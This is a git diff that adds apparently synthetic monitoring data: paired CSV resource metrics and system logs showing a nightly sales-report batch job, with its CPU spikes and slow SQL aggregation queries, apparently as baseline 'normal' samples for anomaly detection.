+1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,14.13,38.56,11.57,0.91,0.54 +2025-08-13T04:00:05Z,20.97,37.92,10.75,0.66,0.78 +2025-08-13T04:00:10Z,11.3,41.43,8.91,0.94,0.7 +2025-08-13T04:00:15Z,15.78,39.28,9.14,1.16,0.81 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+2025-08-13T04:07:00Z,16.17,40.37,10.58,1.23,1.24 +2025-08-13T04:07:05Z,20.8,38.16,11.77,0.84,1.01 +2025-08-13T04:07:10Z,11.34,39.5,8.18,1.16,0.61 +2025-08-13T04:07:15Z,18.56,42.4,9.37,1.02,0.73 +2025-08-13T04:07:20Z,16.7,38.98,14.11,0.87,0.56 +2025-08-13T04:07:25Z,10.77,39.54,8.7,0.68,1.17 diff --git a/norm_dataset/scenario_3/norm_3_27.log b/norm_dataset/scenario_3/norm_3_27.log new file mode 100644 index 0000000000000000000000000000000000000000..7a303c09d0f2f33d19d9ecfa1c563efe5697be52 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_27.log @@ -0,0 +1,9 @@ +Aug 13 04:00:00 CRON[4560]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:00:55 batch-processor[5123]: INFO: Starting daily_sales_report_job. +Aug 13 04:01:00 batch-processor[5123]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:25 systemd[1]: Starting daily clean up activities... +Aug 13 04:03:35 web-app[1234]: GET /health status=200 OK +Aug 13 04:04:45 mysqld[899]: [Note] [MY-010052] [Server] Slow query: SELECT product_id, SUM(amount) FROM sales WHERE sale_date = '2025-08-12' GROUP BY product_id; (query time: 295.7 sec) +Aug 13 04:06:10 batch-processor[5123]: INFO: Aggregation complete. Processed 1,204,589 records. +Aug 13 04:06:15 batch-processor[5123]: INFO: Report job completed. +Aug 13 04:07:15 CRON[6120]: (root) CMD (check-for-updates) diff --git a/norm_dataset/scenario_3/norm_3_28.csv b/norm_dataset/scenario_3/norm_3_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..cdbcda5b014c528809a95e64bf3f7e09b14c8861 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,17.295982324447486,44.5466726621733,26.524452203305692,1.0327691972500603,0.8594681822231449 +2025-08-13T04:00:05Z,14.02391569766665,41.46568041868469,24.29477472129663,1.5199214859513401,0.8540970802451897 +2025-08-13T04:00:10Z,15.280223249725918,36.87025937484611,27.269352517474626,1.2239933302726083,1.1286476741699605 +2025-08-13T04:00:15Z,17.36146762208766,40.64941259456795,35.046137839862595,1.347447029610387,0.6100120362969881 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(run-parts --report /etc/cron.daily) +Aug 13 04:00:30 db-reporting-srv report-generator[9819]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:45 db-reporting-srv report-generator[8176]: INFO: Connecting to datasource 'sales_db_primary'. +Aug 13 04:01:15 db-reporting-srv report-generator[1732]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:02:10 db-reporting-srv report-generator[5039]: INFO: Fetched 1,582,903 records for aggregation. +Aug 13 04:03:15 db-reporting-srv report-generator[8477]: INFO: Processing sales data for region 'EMEA'. +Aug 13 04:04:20 db-reporting-srv report-generator[2116]: INFO: Processing sales data for region 'APAC'. +Aug 13 04:05:35 db-reporting-srv report-generator[6480]: INFO: Processing sales data for region 'AMER'. +Aug 13 04:06:15 db-reporting-srv report-generator[7735]: INFO: Aggregation complete. Saving report to 'reporting_db'. +Aug 13 04:06:30 db-reporting-srv report-generator[4906]: INFO: Report job completed successfully in 360.21 seconds. +Aug 13 04:07:00 db-reporting-srv systemd[9576]: Daily maintenance jobs finished. diff --git a/norm_dataset/scenario_3/norm_3_29.csv b/norm_dataset/scenario_3/norm_3_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..29c109d57c070fdada16c3d67f74af6139394ae7 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,16.8,39.74,31.38,1.17,0.83 +2025-08-13T04:00:05Z,16.3,43.94,36.05,1.12,1.13 +2025-08-13T04:00:10Z,13.59,42.7,27.93,1.82,1.0 +2025-08-13T04:00:15Z,18.81,36.71,29.35,1.87,1.05 +2025-08-13T04:00:20Z,13.82,38.15,33.28,1.53,1.33 +2025-08-13T04:00:25Z,10.76,37.42,24.03,1.07,1.14 +2025-08-13T04:00:30Z,15.6,37.85,31.3,1.53,0.84 +2025-08-13T04:00:35Z,13.01,37.3,35.07,1.79,1.37 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+2025-08-13T04:07:10Z,12.82,39.12,29.56,1.17,1.18 +2025-08-13T04:07:15Z,10.34,40.69,21.82,1.9,1.21 +2025-08-13T04:07:20Z,14.41,36.01,23.84,1.47,1.17 +2025-08-13T04:07:25Z,16.29,40.31,22.47,1.97,1.17 diff --git a/norm_dataset/scenario_3/norm_3_29.log b/norm_dataset/scenario_3/norm_3_29.log new file mode 100644 index 0000000000000000000000000000000000000000..e064dfebdfdbbf7803495824ba2587a9a2672f82 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_29.log @@ -0,0 +1,30 @@ +Aug 13 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:10 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:00:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:00:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:01:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:01:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:01:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:02:00 report-job[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:02:10 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:02:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:02:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:03:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:03:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:03:30 report-job[4567]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:03:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:04:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:04:10 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:04:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:04:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:05:00 report-job[4567]: INFO: Report job completed. +Aug 13 04:05:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:05:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:05:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:06:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:06:10 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:06:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:06:45 web-app[1234]: GET /api/v1/heartbeat status=200 OK +Aug 13 04:07:00 systemd[1]: Starting daily clean up activities... +Aug 13 04:07:15 web-app[1234]: GET /api/v1/heartbeat status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_3.csv b/norm_dataset/scenario_3/norm_3_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..0fb0a53ba1ed9748e2138fd3cb86f15a044bf1ee --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T03:58:00Z,16.83,41.0,10.62,1.27,1.09 +2025-08-13T03:58:05Z,15.8,39.5,14.15,0.83,1.26 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+2025-08-13T04:04:50Z,92.34,55.96,89.4,1.38,1.3 +2025-08-13T04:04:55Z,81.74,59.1,79.52,1.43,0.89 +2025-08-13T04:05:00Z,13.09,36.62,14.2,1.38,1.27 +2025-08-13T04:05:05Z,15.32,36.6,12.15,0.57,1.48 +2025-08-13T04:05:10Z,17.31,36.63,7.75,1.31,0.62 +2025-08-13T04:05:15Z,10.4,35.05,10.22,1.23,0.67 +2025-08-13T04:05:20Z,19.78,41.0,10.62,0.87,0.93 +2025-08-13T04:05:25Z,12.91,38.14,11.3,1.49,0.58 diff --git a/norm_dataset/scenario_3/norm_3_3.log b/norm_dataset/scenario_3/norm_3_3.log new file mode 100644 index 0000000000000000000000000000000000000000..a435a62559164ec3600363ee40a80168621362ec --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_3.log @@ -0,0 +1,11 @@ +Aug 13 03:58:30 systemd[1]: Starting daily clean up activities... +Aug 13 03:59:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:00:00 report-job[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:05 report-job[4567]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:01:20 report-job[4567]: INFO: Fetching sales data from primary database. +Aug 13 04:02:45 report-job[4567]: INFO: 50% of records processed. +Aug 13 04:04:30 mysqld[5432]: SLOW QUERY: Query_time: 265.12 Lock_time: 0.52 Rows_sent: 1 Rows_examined: 15789452 user[host] - SELECT product_id, SUM(amount) FROM sales_data WHERE date BETWEEN '2025-08-12 00:00' AND '2025-08-12 23:59' GROUP BY product_id; +Aug 13 04:04:55 report-job[4567]: INFO: Aggregation complete, generating report. +Aug 13 04:05:00 report-job[4567]: INFO: Report job completed successfully in 300 seconds. +Aug 13 04:05:05 report-job[4567]: INFO: Report saved to /reports/daily_sales_2025-08-12.csv. +Aug 13 04:05:25 systemd[1]: daily-report.service: Succeeded. diff --git a/norm_dataset/scenario_3/norm_3_30.csv b/norm_dataset/scenario_3/norm_3_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..bc9a363092c8426f8b0d0609ae9166beb59282c2 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_30.csv @@ -0,0 +1,91 @@ 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04:00:00 web-app[2233]: GET /api/v1/status status=200 OK +Aug 14 04:00:20 web-app[2233]: GET /api/v1/status status=200 OK +Aug 14 04:02:00 report-runner[4588]: INFO: Starting daily_sales_report_job. +Aug 14 04:02:15 report-runner[4588]: INFO: [DB-CONN-POOL] Connection acquired for reporting_job. +Aug 14 04:02:30 report-runner[4588]: INFO: Aggregating records from 2025-08-13 00:00:00 to 2025-08-13 23:59:59. +Aug 14 04:04:30 db-server[1337]: SLOW QUERY: duration=145.34s query="SELECT date(created_at), product_id, SUM(amount), COUNT(order_id) FROM sales WHERE created_at >= '2025-08-13 00:00:00' AND created_at < '2025-08-14 00:00:00' GROUP BY 1,2 ORDER BY 1,2;" +Aug 14 04:05:00 report-runner[4588]: INFO: Report job completed. Wrote 5432 rows to daily_sales_report. +Aug 14 04:05:05 report-runner[4588]: INFO: [DB-CONN-POOL] Connection released. +Aug 14 04:06:40 web-app[2233]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_31.csv b/norm_dataset/scenario_3/norm_3_31.csv new file mode 100644 index 0000000000000000000000000000000000000000..019816bba1ed5be468ba52c69ce6cd09a6830774 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_31.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,18.41,38.89,12.29,0.96,1.15 +2025-08-13T04:00:05Z,18.56,44.43,8.97,1.43,1.01 +2025-08-13T04:00:10Z,18.06,44.98,7.88,1.26,0.81 +2025-08-13T04:00:15Z,13.58,35.14,10.47,1.03,1.21 +2025-08-13T04:00:20Z,15.24,36.5,13.38,0.59,0.87 +2025-08-13T04:00:25Z,19.36,43.13,10.13,0.66,1.09 +2025-08-13T04:00:30Z,12.36,44.08,5.8,0.98,1.45 +2025-08-13T04:00:35Z,10.6,39.51,6.18,0.94,0.62 +2025-08-13T04:00:40Z,11.75,44.45,13.23,0.6,0.52 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+2025-08-13T04:07:25Z,14.29,43.72,6.52,0.95,1.01 diff --git a/norm_dataset/scenario_3/norm_3_31.log b/norm_dataset/scenario_3/norm_3_31.log new file mode 100644 index 0000000000000000000000000000000000000000..cb9b20b26b96e305ee541d998e84aa922cc63b76 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_31.log @@ -0,0 +1,13 @@ +Aug 13 04:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:00:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:00:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 13 04:00:50 report-job[6789]: INFO: Starting daily_sales_report_job. +Aug 13 04:02:30 report-job[6789]: INFO: Aggregating records from 2025-08-13 00:00 to 23:59. +Aug 13 04:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod report-job-pod +Aug 13 04:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod report-job-pod +Aug 13 04:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod report-job-pod +Aug 13 04:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod report-job-pod +Aug 13 04:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod report-job-pod +Aug 13 04:06:40 report-job[6789]: INFO: Report job completed. +Aug 13 04:07:05 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_32.csv b/norm_dataset/scenario_3/norm_3_32.csv new file mode 100644 index 0000000000000000000000000000000000000000..ee0beca3a629e8917eaa373dfffce9fe4673829d --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_32.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,19.35,37.23,19.72,1.1,0.56 +2025-08-13T04:00:05Z,10.25,40.82,28.1,0.99,1.36 +2025-08-13T04:00:10Z,13.76,38.99,20.75,1.08,0.56 +2025-08-13T04:00:15Z,12.83,39.12,20.2,1.03,1.11 +2025-08-13T04:00:20Z,18.28,37.98,17.68,0.73,1.12 +2025-08-13T04:00:25Z,14.63,36.85,29.06,0.64,1.39 +2025-08-13T04:00:30Z,18.74,42.17,19.9,0.74,0.96 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+2025-08-13T04:07:15Z,11.84,43.55,29.01,1.33,1.23 +2025-08-13T04:07:20Z,15.11,40.02,16.72,1.49,1.34 +2025-08-13T04:07:25Z,12.96,42.97,26.06,0.54,1.41 diff --git a/norm_dataset/scenario_3/norm_3_32.log b/norm_dataset/scenario_3/norm_3_32.log new file mode 100644 index 0000000000000000000000000000000000000000..5aad8d1b47ab36039694fb906ea6af8f2b9e9909 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_32.log @@ -0,0 +1,10 @@ +Aug 13 04:00:05 systemd[1]: Starting daily clean up activities... +Aug 13 04:00:25 CRON[4812]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 13 04:00:50 report-job[6789]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:55 report-job[6789]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:02:30 db-server[2345]: SLOW QUERY: duration: 15.678s query: SELECT product_id, SUM(amount) FROM sales WHERE sale_date = '2025-08-12' GROUP BY product_id; +Aug 13 04:04:10 report-job[6789]: INFO: 5,432,109 records processed. +Aug 13 04:06:20 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 13 04:06:40 report-job[6789]: INFO: Aggregation complete. Saving report to database. +Aug 13 04:06:45 report-job[6789]: INFO: Report job completed successfully. execution_time=355.2s +Aug 13 04:07:20 webapp[1122]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_33.csv b/norm_dataset/scenario_3/norm_3_33.csv new file mode 100644 index 0000000000000000000000000000000000000000..ca229ce00824ac563d77617334f595ac42472e5d --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_33.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T04:00:00Z,15.73,40.83,20.36,1.2,1.18 +2025-08-24T04:00:05Z,11.89,38.14,25.7,1.11,0.8 +2025-08-24T04:00:10Z,11.12,43.11,21.27,1.0,0.79 +2025-08-24T04:00:15Z,17.15,41.64,22.19,0.9,1.22 +2025-08-24T04:00:20Z,11.68,39.67,21.12,1.08,1.37 +2025-08-24T04:00:25Z,10.99,39.84,20.64,1.49,1.19 +2025-08-24T04:00:30Z,75.68,48.6,74.05,0.51,0.6 +2025-08-24T04:00:35Z,76.46,48.37,74.07,0.64,0.98 +2025-08-24T04:00:40Z,89.64,45.89,87.13,1.15,1.07 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+2025-08-24T04:07:25Z,16.98,35.88,21.86,1.47,1.15 diff --git a/norm_dataset/scenario_3/norm_3_33.log b/norm_dataset/scenario_3/norm_3_33.log new file mode 100644 index 0000000000000000000000000000000000000000..8223f2aee815f53dd4d08be5b3235c7486fe88a6 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_33.log @@ -0,0 +1,13 @@ +Aug 24 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 24 04:00:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 04:00:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 04:00:30 report-job[6789]: INFO: Starting daily_sales_report_job. +Aug 24 04:00:35 report-job[6789]: INFO: Aggregating records from 2025-08-23 00:00 to 23:59. +Aug 24 04:01:15 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 24 04:02:30 mysqld-slow[555]: Query_time: 150.22 Lock_time: 2.11 Rows_sent: 5823 Rows_examined: 1593021 a_user[a_user] @ localhost [127.0.0.1] SELECT product_id, category, SUM(amount) as total_sales FROM sales_data WHERE sale_date >= '2025-08-23 00:00:00' AND sale_date <= '2025-08-23 23:59:59' GROUP BY product_id, category ORDER BY total_sales DESC; +Aug 24 04:03:45 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 24 04:05:00 report-job[6789]: INFO: Report job completed successfully in 270.0 seconds. +Aug 24 04:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 04:06:15 systemd[1]: Daily clean up activities finished. +Aug 24 04:06:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 04:07:25 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_34.csv b/norm_dataset/scenario_3/norm_3_34.csv new file mode 100644 index 0000000000000000000000000000000000000000..f8699b485a6015a0d9ae54a8b548b54ded21fa6c --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_34.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,15.73,41.89,22.23,1.21,0.67 +2025-08-13T04:00:05Z,10.99,49.55,29.25,1.02,1.36 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report-generator[4567]: INFO: Starting daily_sales_report_job. +Aug 13 04:03:30 report-generator[4567]: INFO: Aggregating records from 2025-08-12 00:00 to 23:59. +Aug 13 04:05:00 report-generator[4567]: INFO: Report job completed. +Aug 13 04:05:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:05:59 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:06:34 web-app[1234]: GET /api/v1/status status=200 OK +Aug 13 04:07:01 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_35.csv b/norm_dataset/scenario_3/norm_3_35.csv new file mode 100644 index 0000000000000000000000000000000000000000..37a1b82546431d1a5db6477e53dea0b668035456 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_35.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T04:00:00Z,14.21,38.89,27.29,0.96,1.15 +2025-08-24T04:00:05Z,14.28,44.43,23.97,1.43,1.01 +2025-08-24T04:00:10Z,14.03,44.98,22.88,1.26,0.81 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+2025-08-24T04:06:55Z,13.82,36.63,27.71,1.06,1.04 +2025-08-24T04:07:00Z,14.41,35.28,20.61,1.05,0.98 +2025-08-24T04:07:05Z,14.78,38.16,28.66,1.1,1.2 +2025-08-24T04:07:10Z,10.18,43.06,23.66,0.7,1.47 +2025-08-24T04:07:15Z,13.65,44.39,23.29,0.7,0.99 +2025-08-24T04:07:20Z,12.93,44.4,20.27,1.15,1.35 +2025-08-24T04:07:25Z,11.5,43.32,24.27,0.85,0.83 diff --git a/norm_dataset/scenario_3/norm_3_35.log b/norm_dataset/scenario_3/norm_3_35.log new file mode 100644 index 0000000000000000000000000000000000000000..c6509a0f44422f08b14a3afe3476ea2b0ee24153 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_35.log @@ -0,0 +1,13 @@ +Aug 24 04:00:00 systemd[1]: Starting daily clean up activities... +Aug 24 04:00:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 04:00:40 CRON[6678]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 04:01:05 report-generator[4591]: INFO: Starting daily_sales_report_job. +Aug 24 04:01:10 report-generator[4591]: INFO: Connecting to database 'sales_db' on localhost. +Aug 24 04:01:15 report-generator[4591]: INFO: Aggregating records from 2025-08-23 00:00 to 23:59. +Aug 24 04:04:00 mysqld[512]: INFO: [SLOW QUERY] user:report_user, host:localhost, query_time:165, query: SELECT product_category, region, SUM(sale_amount), COUNT(transaction_id) FROM sales_data WHERE sale_timestamp BETWEEN '2025-08-23 00:00:00' AND '2025-08-23 23:59:59' GROUP BY product_category, region ORDER BY region, SUM(sale_amount) DESC; +Aug 24 04:05:50 report-generator[4591]: INFO: Aggregation complete. Found 1,204,589 records to process. +Aug 24 04:05:55 report-generator[4591]: INFO: Storing aggregated report to reporting_db. +Aug 24 04:06:00 report-generator[4591]: INFO: Report job completed successfully. Execution time: 295 seconds. +Aug 24 04:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 04:06:40 systemd[1]: Daily clean up activities finished. +Aug 24 04:07:10 web-app[1234]: GET /api/v1/user/99 status=200 OK diff --git a/norm_dataset/scenario_3/norm_3_36.csv b/norm_dataset/scenario_3/norm_3_36.csv new file mode 100644 index 0000000000000000000000000000000000000000..563b88edd767fe147607015ef080055a6a3aa9ee --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_36.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T03:58:00Z,15.73,41.89,21.12,1.09,0.77 +2025-08-13T03:58:05Z,10.99,49.55,24.63,1.01,1.04 +2025-08-13T03:58:10Z,13.62,47.69,28.06,1.18,0.89 +2025-08-13T03:58:15Z,12.46,45.83,26.11,1.04,0.76 +2025-08-13T03:58:20Z,14.89,43.46,29.3,0.95,0.73 +2025-08-13T03:58:25Z,13.7,47.78,28.05,0.9,0.78 +2025-08-13T03:58:30Z,10.19,41.01,27.74,1.15,1.07 +2025-08-13T03:58:35Z,18.86,49.89,26.33,1.13,0.82 +2025-08-13T03:58:40Z,13.85,45.2,26.0,0.92,1.07 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+2025-08-13T04:02:05Z,94.53,49.68,94.73,1.63,1.91 +2025-08-13T04:02:10Z,88.1,49.85,93.06,2.25,1.1 +2025-08-13T04:02:15Z,83.44,51.34,89.49,2.45,1.17 +2025-08-13T04:02:20Z,90.56,45.46,85.59,2.24,1.38 +2025-08-13T04:02:25Z,81.69,52.41,86.28,2.47,1.19 +2025-08-13T04:02:30Z,90.53,51.12,92.04,1.9,1.58 +2025-08-13T04:02:35Z,94.86,45.07,86.92,2.15,1.02 +2025-08-13T04:02:40Z,87.42,45.74,98.2,1.7,1.07 +2025-08-13T04:02:45Z,89.27,51.88,93.13,2.08,1.47 +2025-08-13T04:02:50Z,81.55,52.91,97.01,1.72,1.17 +2025-08-13T04:02:55Z,93.02,48.15,98.9,1.86,1.23 +2025-08-13T04:03:00Z,89.99,48.63,90.64,2.18,1.04 +2025-08-13T04:03:05Z,84.14,48.54,87.2,1.92,1.85 +2025-08-13T04:03:10Z,92.14,45.12,85.9,1.91,1.62 +2025-08-13T04:03:15Z,94.02,52.33,89.21,2.43,1.96 +2025-08-13T04:03:20Z,81.51,46.29,88.47,2.35,1.75 +2025-08-13T04:03:25Z,83.44,47.44,88.56,2.5,1.17 +2025-08-13T04:03:30Z,86.76,50.37,87.46,2.31,1.77 +2025-08-13T04:03:35Z,82.12,54.18,96.26,1.51,1.55 +2025-08-13T04:03:40Z,85.49,54.77,92.69,1.9,1.02 +2025-08-13T04:03:45Z,88.0,51.48,94.71,1.64,1.45 +2025-08-13T04:03:50Z,86.26,48.6,94.03,2.32,1.76 +2025-08-13T04:03:55Z,93.24,54.89,85.3,1.87,1.97 +2025-08-13T04:04:00Z,16.78,43.04,22.94,1.09,1.05 +2025-08-13T04:04:05Z,16.94,40.95,24.77,1.03,0.73 +2025-08-13T04:04:10Z,14.66,48.85,24.08,0.9,0.78 +2025-08-13T04:04:15Z,12.16,42.63,28.8,0.99,0.74 +2025-08-13T04:04:20Z,13.88,42.16,21.85,0.98,0.84 +2025-08-13T04:04:25Z,13.23,45.68,26.71,0.87,0.89 +2025-08-13T04:04:30Z,10.67,44.2,22.72,1.08,1.08 +2025-08-13T04:04:35Z,16.16,42.71,22.56,1.04,0.75 +2025-08-13T04:04:40Z,17.1,47.55,25.98,0.95,0.74 +2025-08-13T04:04:45Z,12.28,45.07,22.25,0.92,1.08 +2025-08-13T04:04:50Z,16.38,43.82,22.88,1.06,1.03 +2025-08-13T04:04:55Z,17.97,44.66,29.74,1.07,0.8 +2025-08-13T04:05:00Z,15.0,44.69,20.3,1.14,0.97 +2025-08-13T04:05:05Z,15.26,42.87,25.37,0.82,0.81 +2025-08-13T04:05:10Z,18.01,43.02,23.79,1.07,0.78 +2025-08-13T04:05:15Z,12.63,47.37,24.3,1.0,0.87 +2025-08-13T04:05:20Z,11.5,49.61,27.2,0.86,0.8 +2025-08-13T04:05:25Z,16.96,47.25,23.39,0.93,0.96 diff --git a/norm_dataset/scenario_3/norm_3_36.log b/norm_dataset/scenario_3/norm_3_36.log new file mode 100644 index 0000000000000000000000000000000000000000..a558c844f6e208856db721a4893e3e1f95ff544b --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_36.log @@ -0,0 +1,13 @@ +Aug 13 03:58:10 web-app[2134]: GET /api/v1/health status=200 OK +Aug 13 03:59:00 cron[8821]: (root) CMD (run-parts --report /etc/cron.minutely) +Aug 13 03:59:50 web-app[2134]: POST /api/v1/auth status=200 OK user=admin +Aug 13 04:00:00 report-job[5512]: INFO: Starting daily_sales_report_job. +Aug 13 04:00:05 report-job[5512]: INFO: Connecting to database 'sales_db' on host db1. +Aug 13 04:00:10 report-job[5512]: INFO: Aggregating records from 2025-08-12 00:00:00 to 2025-08-12 23:59:59. +Aug 13 04:01:30 kernel: [12345.678] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 13 04:02:45 report-job[5512]: DEBUG: Processed 1000000 records... +Aug 13 04:03:50 mysqld[1190]: SLOW QUERY: Query_time: 228.15 Lock_time: 0.82 Rows_sent: 5218 Rows_examined: 15832910 SQL: SELECT product_id, SUM(amount) FROM sales WHERE sale_date BETWEEN '2025-08-12 00:00:00' AND '2025-08-12 23:59:59' GROUP BY product_id; +Aug 13 04:03:55 report-job[5512]: INFO: Aggregation complete. Writing report to 'reports_db'. +Aug 13 04:04:05 report-job[5512]: INFO: Report job completed successfully in 245.12 seconds. +Aug 13 04:04:30 web-app[2134]: GET /api/v1/status status=200 OK +Aug 13 04:05:00 cron[8911]: (root) CMD (run-parts --report /etc/cron.minutely) diff --git a/norm_dataset/scenario_3/norm_3_37.csv b/norm_dataset/scenario_3/norm_3_37.csv new file mode 100644 index 0000000000000000000000000000000000000000..2d387210759a5b793f4e48601f568f005bd1b9d8 --- /dev/null +++ b/norm_dataset/scenario_3/norm_3_37.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-13T04:00:00Z,13.57,44.25,8.87,1.91,1.1 +2025-08-13T04:00:05Z,15.24,35.95,10.09,1.74,0.5 +2025-08-13T04:00:10Z,12.18,39.73,8.75,1.15,1.18 +2025-08-13T04:00:15Z,11.97,35.45,10.39,1.44,0.57 +2025-08-13T04:00:20Z,17.0,35.86,18.83,1.1,1.44 +2025-08-13T04:00:25Z,22.87,38.29,17.85,1.31,1.0 +2025-08-13T04:00:30Z,20.28,38.76,5.27,1.61,0.51 +2025-08-13T04:00:35Z,10.78,39.18,15.81,1.8,1.12 +2025-08-13T04:00:40Z,16.73,41.7,18.5,2.0,0.67 +2025-08-13T04:00:45Z,24.54,43.36,6.15,1.52,1.14 +2025-08-13T04:00:50Z,14.74,39.44,9.22,0.9,1.34 +2025-08-13T04:00:55Z,14.39,39.61,15.7,1.64,1.17 +2025-08-13T04:01:00Z,82.37,57.57,143.98,1.14,0.62 +2025-08-13T04:01:05Z,81.28,60.69,135.92,1.45,0.57 +2025-08-13T04:01:10Z,83.68,62.55,94.16,0.88,0.33 +2025-08-13T04:01:15Z,86.67,61.44,135.22,0.62,0.54 +2025-08-13T04:01:20Z,80.56,59.16,87.64,0.75,0.43 +2025-08-13T04:01:25Z,94.89,54.29,80.9,1.23,0.31 +2025-08-13T04:01:30Z,83.34,56.8,146.19,1.3,0.74 